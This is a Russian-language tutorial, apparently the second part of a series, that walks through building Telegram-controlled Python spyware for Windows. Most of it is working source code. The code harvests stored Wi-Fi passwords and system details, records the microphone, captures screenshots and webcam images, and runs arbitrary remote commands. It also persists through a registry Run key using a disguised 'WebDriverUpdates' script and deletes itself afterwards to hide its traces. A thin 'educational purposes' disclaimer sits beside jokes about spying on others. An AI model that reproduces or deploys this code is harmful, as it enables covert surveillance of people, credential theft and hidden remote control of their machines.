Введение
Ссылка на первую часть, немного ужал название)
Всем привет, в этой части мы добавим функционала нашему SpyWare, чтоб было поинтереснее следить за кем то отслеживать что творится с нашим компом, пока нас нет рядом. Давайте начинать =)

Функционал
Давайте заранее рассмотрим структуру нашего проекта, чтобы было понятно, где и какие файлы хранятся. Дерево нашего проекта выглядит следующим образом:
TGSpySystem:. │ config.py │ main.py │ tg_config.py │ ├───modules │ audio.py │ cmd_shell.py │ destroyer.py │ getinfo.py │ pc_eyes.py │ regedit.py │ __init__.py │ ├───temp │ webDriver.bat │ webDriverUpdates.vbs │ └───tg dispatcher.py handlers.py utils.py __init__.py
А теперь можно переходить к самому интересному. В прошлой части мы уже написали простенький метод, который будет сигнализировать нам о том, что кто-то уже авторизовался в системе. Напишем еще один маленький метод который будет отвечать на наш запрос в случае, если ПК еще включен. Метод до безобразия прост и находится в handlers.py:
@dp.message_handler(commands="check") async def system_check(message: types.Message): await message.answer("System status: online")
Он будет отвечать на наш запрос /check сообщением "System status: online" и ничего более тут не происходит)
Получение информации
Переходим к разработке нашего первого и самого объемного модуля GetInfo который находится по пути modules\getinfo.py. С его помощью мы будем собирать полезную информацию как IP адрес, пароль от Wi-Fi или запущенные процессы нашей victim цели. Для начала импортируем необходимые модули и создадим наш класс с его первым методом get_pc_info().
import psutil import platform import socket import getpass from datetime import datetime from uuid import getnode as get_mac class GetInfo: @staticmethod def get_pc_info() -> str: username = getpass.getuser() ip = socket.gethostbyname(socket.gethostname()) mac = get_mac() os_info = platform.uname() zone = psutil.boot_time() os_time = datetime.fromtimestamp(zone) cpu_data = psutil.cpu_freq() result = (f"Username: {username}\n" f"local IP address: {ip}\n" f"MAC address: {mac}\n" f"Timezone: {os_time.year}/{os_time.month}/{os_time.day}" f" {os_time.hour}:{os_time.minute}:{os_time.second}\n" f"Operating System: {os_info.system}\n" f"Processor: {os_info.processor}\n" f"Max Frequency: {cpu_data.max:.2f} Mhz\n" f"Min Frequency: {cpu_data.min:.2f} Mhz\n" f"Current Frequency: {cpu_data.current:.2f} Mhz\n") return result
Так как нам не нужен доступ ни к классу ни к его экземплярам, мы можем делать этот метод статическим. Методу не требуются входные данные, при помощи сторонних модулей он собирает интересную для нас информации и возвращает нам легко читабельный результат отформатированные при помощи f-строк. И сразу же добавляем хэндлер для нашего нового метода в handlers.py.
@dp.message_handler(commands="pc_info") async def send_pc_info(message: types.Message): result = modules.GetInfo.get_pc_info() await message.answer(result)
При получении ботом команды /pc_info он будет запускать метод get_pc_info(), так как метод статический, инициализация класса не обязательна, на не нужен доступ к его внутренним переменным и данным. Мы отнесли этот метод сюда, так как он схож по своей сути и цели с остальными методами класса и таким образом мы объединяем их в группу.
Следующий метод get_connection_info() выдает нам данные о скорость загрузки и отдачи нашего интернет соединения. Метод так же ничего не принимает на вход и является статическим.
from speedtest import Speedtest @staticmethod def get_connection_info() -> str: start = datetime.now() inet = Speedtest() download_speed = float(f"{str(inet.download())[0:2]}.{str(round(inet.download(), 2))[1]}") * 0.125 upload_speed = float(f"{str(inet.upload())[0:2]}.{str(round(inet.download(), 2))[1]}") * 0.125 ends = datetime.now() work_speed = format(ends - start) result = (f"Work speed: {work_speed}\n" f"Download: {download_speed} MB/s\n" f"Upload: {upload_speed} MB/s\n") return result
Для работы метода нам необходимо импортировать сторонний модуль Speedtest, а datetime мы уже импортировали ранее. С его помощью мы получаем значения загрузки и отдачи данных также получаем время до и после выполнения, чтобы узнать затраченное время. В конце форматируем результат и возвращаем его. И снова добавляем обработчик для нового метода.
@dp.message_handler(commands="con_info") async def send_connection_info(message: types.Message): result = modules.GetInfo.get_connection_info() await message.answer(result)
Получив /con_info, бот отправит нам информацию о скорости интернет соединения. Инициализировать GetInfo снова не нужно.
Теперь рассмотрим маленький метод get_process(), данный метод просто выводит нам список запущенных процессов и немного информации о них. Как и зачем им пользоваться ? Я думаю каждый найдет свой ответ)
from subprocess import Popen, PIPE @staticmethod def get_process() -> str: return ' '.join([line.decode("cp866", "ignore") for line in Popen("tasklist", stdout=PIPE).stdout.readlines()])
Снова статический метод, который, если опустить все подробности, просто выполняет tasklist форматирует и возвращает результат. Для работы импортировать Popen и PIPE. Сейчас наш обработчик немного изменится.
@dp.message_handler(commands="proc_info") async def send_process_info(message: types.Message): result = modules.GetInfo.get_process() await reply_handler(message=message, data=result)
Так как максимальная длинна сообщения/поста в Telegram 4096 символов, нам необходим некий обработчик, чтобы избежать ошибок. Так ��ак такая ситуация встречается не только в этом случае, я решил вынести этот метод в другой модуль (вдруг потом появятся еще утилиты). Так же избегаем повторения кода и соблюдаем принцип программирования DRY.
Наш метод reply_handler(message: types.Message, data: str) будет храниться в файле tg\utils.py.
async def reply_handler(message: types.Message, data: str): if len(data) > 4096: for x in range(0, len(data), 4096): await message.answer(data[x:x + 4096]) else: await message.answer(data)
Так как наш бот асинхронный, его утилиты тоже должны быть асинхронными. Конечно можно было делать бота синхронным, но изначальна я думал разрешить нескольким пользователям мониторить систему, а чтоб можно было выполнять несколько процессов параллельно, нам нужна асинхронность, если будет интересно, доработаем нашу систему для нескольких пользователей. На вход мы получаем контекст сообщения и данные необходимые для обработки. Проверяем длину сообщения и дробим его при необходимости, а после отправляем результат.
Следующий метод get_wifi_info() был очень полезен для меня. Если кто-то приходит в гости и просит пароль от твоего Wi-Fi, а ты вечно не знаешь где он и тебе лень его искать. Всегда можно посмотреть с помощью этого метода. Ну или использовать его еще для каких то целей, например попадания в одну сеть для ...
from subprocess import check_output @staticmethod def get_wifi_info() -> str: passwords = [] data = check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n') wifi_list = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line] for wifi in wifi_list: results = check_output(['netsh', 'wlan', 'show', 'profile', wifi, 'key=clear']).decode('cp866').split('\n') results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line] try: passwords.append(f'Network name: {wifi}\nPassword: {results[0]}') except IndexError: passwords.append(f'Network name: {wifi}, Password not found!') return "\n".join(passwords)
Снова статический метода и для его работы нам нужен метод check_output, который выполнит команду и вернет нам результат. После мы его обрабатываем и получим все Wi-Fi и их пароли к которым когда-либо подключался ваш ПК. В случае ноутбуков это более интересно, так как у меня было около 20 таких связок и почти все они были действительны до сих пор. К сожалению метод только для русских версий Windows, руки не дошли переписать его через регулярные выражения на две версии. Ну и конечно же хэндлер.
@dp.message_handler(commands="wifi_info") async def send_wifi_info(message: types.Message): result = modules.GetInfo.get_wifi_info() await message.answer(result)
Тут все стандартно, отправляем команду /wifi_info и наблюдаем результат в нашем чате с ботом.
Ну и настало время крайнего, но не менее интересного метода get_pub_ip_info(self). Он позволяет получить данные о публичном IP адресе и данные о нем (страна, город, провайдера и т.д.). Все это благодаря сторонним сервисам.
import requests from bs4 import BeautifulSoup def get_pub_ip_info(self) -> str: public_ip = requests.get('https://api.ipify.org').text try: page_response = requests.get(f'https://check-host.net/ip-info?host={public_ip}') if page_response.status_code == 200: page_content = BeautifulSoup(page_response.content, "html.parser") ip_info = page_content.find("div", {"id": "ip_info-ipgeolocation"}) print(ip_info) return self.__ip_answer_formatting(ip_info.text) else: return f"Check permissions, status code: {page_response.status_code}" except requests.Timeout as e: self.__request_count += 1 if self.__request_count > 5: return f"Need timeout: {e}" else: self.get_pub_ip_info() except Exception as e: return f"Error: {e}"
Для работы метода нам необходимо импортировать модули requests и самый полезный, на мой взгляд, модуль для скрапингаbs4. Далее мы получаем наш публичный IP адрес благодаря гетовому запросу на https://api.ipify.org/. После чего отправляем так же гетовый запрос на https://check-host.net/ip-info?host={public_ip}, где в конце добавляем наш, полученный ранее, IP адрес, проверяем статус код и парсим всю необходимую нам информацию. После чего форматируем наш результат другим методом __ip_answer_formatting(ip_info: str), который мы вынесли отдельно, чтоб не захламлять наш код.
@staticmethod def __ip_answer_formatting(ip_info: str) -> str: __answer_list = [] ip_data_list = list(filter(None, ip_info.split("\n"))) ip_data_list.remove("CIDR") for i in range(len(ip_data_list)): if (i + 1) % 2 != 0: __answer_list.append(f"{ip_data_list[i]}: ") else: __answer_list.append(f"{ip_data_list[i]}\n") return "".join(__answer_list)
Метод просто форматирует результат в более читаемый вид, давайте закроем глаза на то, что метод выглядит как костыль)
В конце метода get_pub_ip_info(self) идет обработка исключений, так как я столкнулся только с одним, я сделал так, чтоб бот присылал мне новые сам и я их обрабатывал позже. Но для первого исключения нам нужно инициализировать переменную класса.
def __init__(self): self.__request_count = 0
Она будет считать количество не успешных соединений и если их больше 5, прерывать работу метода сообщением об ошибке. Ну и конечно же не забываем про наш хэндлер.
@dp.message_handler(commands="pub_ip_info") async def send_connection_info(message: types.Message): result = modules.GetInfo().get_pub_ip_info() await message.answer(result)
Так как метод не статический и ему нужен доступ к переменным нашего экземпляра, нам необходимо инициализировать GetInfo() и только потом, вызвать наш метод. Для запуска нужно отправить команду /pub_ip_info.
Наши глаза и уши
В этой части мы рассмотрим работу сразу двух модулей, но чем то похожих между собой(наверное просто связаны с чувствами человека как зрение и слух). Модуль modules\pc_eyes.py отвечающий за наше зрение и modules\audio.py за наш слух. Начнем со слуха)
import wave import pyaudio from config import RECORD_PATH class AudioRecording: @staticmethod def recording(second: int = 5) -> str: chunk = 1024 formats = pyaudio.paInt16 channels = 2 rate = 44100 p = pyaudio.PyAudio() stream = p.open(format=formats, channels=channels, rate=rate, input=True, frames_per_buffer=chunk) frames = [] for i in range(0, int(rate / chunk * second)): data = stream.read(chunk) frames.append(data) stream.stop_stream() stream.close() p.terminate() wf = wave.open(RECORD_PATH, "wb") wf.setnchannels(channels) wf.setsampwidth(p.get_sample_size(formats)) wf.setframerate(rate) wf.writeframes(b''.join(frames)) wf.close() return RECORD_PATH
Импортируем модули pyaudio и wave. Первый кроссплатформенный модуль ввода-вывода звука. Второй используем для сохранения аудио файла. Также из файла .config.py импортируем RECORD_PATH, который указывает место хранения файла.
import os import tempfile PC_TEMP_DIR = tempfile.gettempdir() RECORD_PATH = os.path.join(PC_TEMP_DIR, "sound.wav")
Тут мы видим часть нашего .config.py. Модуль tempfile получает путь к директории с временными файлами из переменной окружения ОС и хранит его в PC_TEMP_DIR, мы еще не раз увидим эту переменную, там мы будем хранить наши временные файлы, которые нам не нужны и подлежат удалению.
Наш новый метод recording(second: int = 5) на вход получает количество секунд для нашей аудио записи, по умолчанию 5 секунд. Далее мы настраиваем параметры звука записи, разбиваем ее по частям и записываем в байтах. В конце возвращаем путь к нашему файлу на ПК жертвы. Теперь хэндлер.
@dp.message_handler(commands="audio") async def send_audio(message: types.Message): if len(message.text.split(" ")) == 2: seconds_count = int(message.text.split(" ")[-1]) audio_path = modules.AudioRecording.recording(seconds_count) else: audio_path = modules.AudioRecording.recording() await message.answer_audio(open(audio_path, "rb")) os.remove(audio_path)
Срабатывает при команде /audio, можно передавать с параметром, указывающим на количество секунд (Пример: /audio 10). Я не добавлял никаких проверок и исключений ибо надеюсь, что никто не додумается пихать в команду строки и гигантские значения, это добавите в пару строк сами, при необходимости. Тут мы просто проверяем количество аргументов и в конце удаляем наш файл с компа.
Теперь рассмотрим модуль отвечающий за наше зрение)
import cv2 import win32api import win32con import win32gui import win32ui from PIL import Image from config import SCREENSHOT_PATH, WEBCAM_SCREEN_PATH class PCEyes: @staticmethod def __get_dimensions(): width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) return width, height, left, top def make_screenshot(self): hdesktop = win32gui.GetDesktopWindow() width, height, left, top = self.__get_dimensions() desktop_dc = win32gui.GetWindowDC(hdesktop) img_dc = win32ui.CreateDCFromHandle(desktop_dc) mem_dc = img_dc.CreateCompatibleDC() screenshot = win32ui.CreateBitmap() screenshot.CreateCompatibleBitmap(img_dc, width, height) mem_dc.SelectObject(screenshot) mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) bmp_info = screenshot.GetInfo() bmp_str = screenshot.GetBitmapBits(True) img = Image.frombuffer( 'RGB', (bmp_info['bmWidth'], bmp_info['bmHeight']), bmp_str, 'raw', 'BGRX', 0, 1) img.save(f'{SCREENSHOT_PATH}.jpeg', 'jpeg') mem_dc.DeleteDC() win32gui.DeleteObject(screenshot.GetHandle()) return f"{SCREENSHOT_PATH}.jpeg" @staticmethod def make_webcam_screen() -> str: cap = cv2.VideoCapture(0) for i in range(30): cap.read() ret, frame = cap.read() cv2.imwrite(WEBCAM_SCREEN_PATH, frame) cap.release() return WEBCAM_SCREEN_PATH
Как и всегда начинаем с импорта модулей. Возможно появятся вопросы, почему скриншот делается не через Pillow, а через win32, все просто, с первом вариантом у меня было много ошибок и во избежания головной боли я выбрал win32. Сразу рассмотрим наш .config.py.
SCREENSHOT_PATH = os.path.join(PC_TEMP_DIR, "screenshot") WEBCAM_SCREEN_PATH = os.path.join(PC_TEMP_DIR, "webcam.jpg")
А тут все то же самое, что мы уже наблюдали выше. Так что возвращаемся к нашему модулю. В методе __get_dimensions() получаем разрешение нашего экрана, для скриншота. Методомmake_screenshot(self) делаем его и сохраняем в .jpeg, кстати метод принимает self, что дает нам доступ к атрибутам экземпляра класса, которым и является выше рассмотренный метод __get_dimensions(). Ну и последний, но самый интересный метод на мой взгляд make_webcam_screen() делает снимок с веб-камеры, в первой строчке можно выбирать ее номер и для этого метода мы используем модуль для ComputerVision. Данный метод мне предоставляет больше удовольствия чем игры с revers shell (но он тут тоже будет), только представьте, получаете сообщение от бота, что кто-то запустил ваш ПК. Вы делаете снимок с веб-камеры а там ...

Ваш пушистый друг, играет в дотку с вашего компа, пока вы на работе, но это все в лучшем случае) На этой позитивной ноте мы готовы переходить к следующему модулю, хоть он и мал, но открывает безграничные возможности.
Revers Shell
Данный метод хранится в modules\cmd_shell.py.
import subprocess class Shell: @staticmethod def run_something(something: str) -> str: """ Disclaimer: This module is used exclusively for educational purposes. I do not support and condemn any cybercrime. Remember about escaping characters. """ return subprocess.check_output(something).decode("cp866", "ignore")
Я решил не изобретать тут велосипед и сделал все максимально просто. Вы можете отправить команду на исполнение и не только ... Я думаю тут каждый найдет чем позаниматься, от запуска калькулятора до выхода из системы, модуль на ваше воображение. По этой ссылке вы можете примерно ознакомиться с возможностями, но ограничения только у вас в голове)
Хэндлер для этого волшебного метода выглядит следующим образом.
@dp.message_handler(commands="exec") async def cmd_exec(message: types.Message): if len(message.text.split(" ")) >= 2: command = " ".join(message.text.split(" ")[1:]) try: # opens cmd in the tg console and breaks the chat if "cmd" not in command: exec_data = modules.Shell().run_something(command) await reply_handler(message=message, data=exec_data) # an error is caused when launching files except MessageTextIsEmpty: pass except CantParseEntities: await message.answer("Please use this command with the flag") except Exception as e: await message.answer(f"New Error: {e}") else: await message.answer("Write your command")
Тут я сталкивался с большим количеством ошибок, при тестах, там есть пару комментариев и я их тут оставлю для вас. Запускается /exec c - (c - command) таким вот способом, где после первого аргумента идет ваша команда. Кстати, тут нам и пригодился наш обработчик длины сообщений во второй раз.
Закрепление
Какое SpyWare может существовать без модуля, который поможет ему закрепиться в системе, тут мы его и разработаем. Путь к нему modules\regedit.py и давайте приступать к разбору.
import os from typing import TypeVar from config import PROJECT_TEMP_DIR, BASE_DIR, MAIN_FILENAME, AUTORUN_NAME, RUN_FILENAME, BAT_FILENAME, PYTHON_INTERPRETER_PATH from winreg import OpenKey, SetValueEx, DeleteValue, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ # generic annotations PyHKEY = TypeVar("PyHKEY") class RegEdit: def __init__(self): self.autorun_path: str = os.path.join(PROJECT_TEMP_DIR, RUN_FILENAME) self.bat_file_path: str = os.path.join(PROJECT_TEMP_DIR, BAT_FILENAME) self.key_reg: PyHKEY = OpenKey(HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_ALL_ACCESS) def __create_temp_files(self): with open(self.bat_file_path, "w") as file: file.write(f"@echo off\n" f"{PYTHON_INTERPRETER_PATH} {os.path.join(BASE_DIR, MAIN_FILENAME)}") with open(self.autorun_path, "w") as file: file.write(f'Set WshShell = CreateObject("WScript.Shell")\n' f'WshShell.Run chr(34) & "{self.bat_file_path}" & Chr(34), 0\n' f'Set WshShell = Nothing') def create_autorun(self) -> bool: self.__create_temp_files() SetValueEx(self.key_reg, AUTORUN_NAME, 0, REG_SZ, self.autorun_path) CloseKey(self.key_reg) return True def delete_autorun(self) -> bool: DeleteValue(self.key_reg, AUTORUN_NAME) os.remove(self.bat_file_path) os.remove(self.autorun_path) return True
И сразу .config.py.
import subprocess BASE_DIR = os.path.dirname(os.path.realpath(__file__)) PROJECT_TEMP_DIR = os.path.join(BASE_DIR, "temp") # first from venv PYTHON_INTERPRETER_PATH = (subprocess.check_output("where python", shell=True).decode()).split()[-1] MAIN_FILENAME = "main.py" AUTORUN_NAME = "WebDrive" BAT_FILENAME = "WebDriver.bat" RUN_FILENAME = "WebDriverUpdates.vbs"
Тут мы получаем путь к python интерпретатору, чтобы не привязываться к venv и выбираем название для нашего сервиса, который далее пойдет в автозапуск. Вернемся к нашим методам и начнем с __init__(self) тут мы определяем атрибуты для нашего класса как ключ реестра, отвечающий за автозапуск и два файла, которые и будут творить всю магию. Метод __create_temp_files(self) создает два файла в .temp каталоге, которые нужны нам для автозапуска. Далее все просто, метод create_autorun(self) устанавливает в значение ключа реестра наш .vbs скрипт и закрывает ключ, а метод delete_autorun(self) наоборот удаляет наш скрипт от туда и удаляет наши временные файлы. Кстати оба эти метода возвращают True либо False, чтоб было легче отследить успех выполнения. Теперь наши хэндлеры.
@dp.message_handler(commands="reg_autorun") async def add_to_autorun(message: types.Message): if modules.RegEdit().create_autorun(): await message.answer("System append to registry") else: await message.answer("System don't append to registry") @dp.message_handler(commands="del_autorun") async def add_to_autorun(message: types.Message): if modules.RegEdit().delete_autorun(): await message.answer("System del from registry") else: await message.answer("System don't del from registry")
Для закрепления в системе необходимо отправить команду /reg_autorun и наша программа попадет в список команд, которые запускаются вместе с ПК и для обратного эффекта используем команду /del_autorun. Настало время крайнего модуля.
Заметаем следы
Рассмотрим наш модуль modules\destroyer.py который будет удалять наше ПО с компа и все ее файлы.
import os import time import subprocess from datetime import datetime from config import TASK_NAME, DESTROYER_FILENAME, BASE_DIR class Destroyer: @staticmethod def __create_file_destroyer(): with open(DESTROYER_FILENAME, "w") as f: f.write(f"@echo off\n" f"SCHTASKS /Delete /TN {TASK_NAME} /F\n" f"rmdir /s /q {BASE_DIR}") def delete_the_program(self): self.__create_file_destroyer() unix_timestamp = time.time() + 60 scheduled_time = datetime.fromtimestamp(unix_timestamp).strftime("%H:%M") subprocess.run(rf"SCHTASKS /Create /SC ONCE /ST {scheduled_time} /F /TN {TASK_NAME} /TR {os.path.join(BASE_DIR, DESTROYER_FILENAME)}")
Ну и по традиции сразу взглянем на .config.py.
BASE_DIR = os.path.dirname(os.path.realpath(__file__)) DESTROYER_FILENAME = "destroyer.bat" TASK_NAME = "WebDriverRemoving"
BASE_DIR нам понадобится, чтоб указать от куда начинать форматирование, далее название нашего файла и имя задачи. Возвращаемся к методам. Метод __create_file_destroyer() создает инструкцию для нашей таски, а delete_the_program(self) создает таску для планировщика, которая выполнится через минуту. Кстати во время тестирования заметил такую вещь, что если запускать это на ноутбуке, то для срабатывания он должен быть подключен к сети. Это можно отключить флажком в самом планировщике в данной таске, но через команду не смог найти, вот ссылка для ваших тасок, если кому будет интересно добавить что-то свое. Ну и куда же без нашего обработчика, в этот раз с ироничным названием.
@dp.message_handler(commands="destroy") async def red_button(message: types.Message): await message.answer("I'm going to miss you!") modules.Destroyer().delete_the_program() raise SystemExit
Инициализируется самоуничтожение командой /destroy. Получаем наше крайнее сообщение и прощаемся с доступом, генерируем исключение, так как программа удалится в течение минуты.
Также у нас еще есть хэндлер для отключения бота в текущей сессии, работает по команде /exit.
@dp.message_handler(commands="exit") async def cmd_exit(message: types.Message): await message.answer("Goodbye!") raise SystemExit
Еще один момент, файл modules\__init__.py.
from modules.regedit import RegEdit from modules.getinfo import GetInfo from modules.pc_eyes import PCEyes from modules.audio import AudioRecording from modules.cmd_shell import Shell from modules.destroyer import Destroyer
Так как мы вызываем наши модули только в одном месте. Импортируем сразу все с помощью просто импорта import modules, а не каждого по отдельности в tg\handlers.py.
Заключение
Теперь мы создали полноценный SpyWare, с revers shell-ом и другими приятными фичами, но только в образовательных целях, конечно же). Black Hat это конечно же весело, но можно получить по рукам, так что выбирайте сторону White Hat и там тоже можно получать удовольствие). Надеюсь статья была полезной и информативной для вас, но не забывайте, что это минимальный мануал, многие методы вы можете переписать для ваших задач. Также можете расширить функционал или оптимизировать и поделиться со мной, мне будет интересно посмотреть, ну или можете предложить ваши идеи, постараюсь реализовать в свободное время). Спасибо за уделенное мне время и до новых встреч ;)
Тут оставляю ссылочку на проект еще раз, на всякий)
Также добавляйтесь в друзья в LinkedIn, буду рад новым знакомствам)
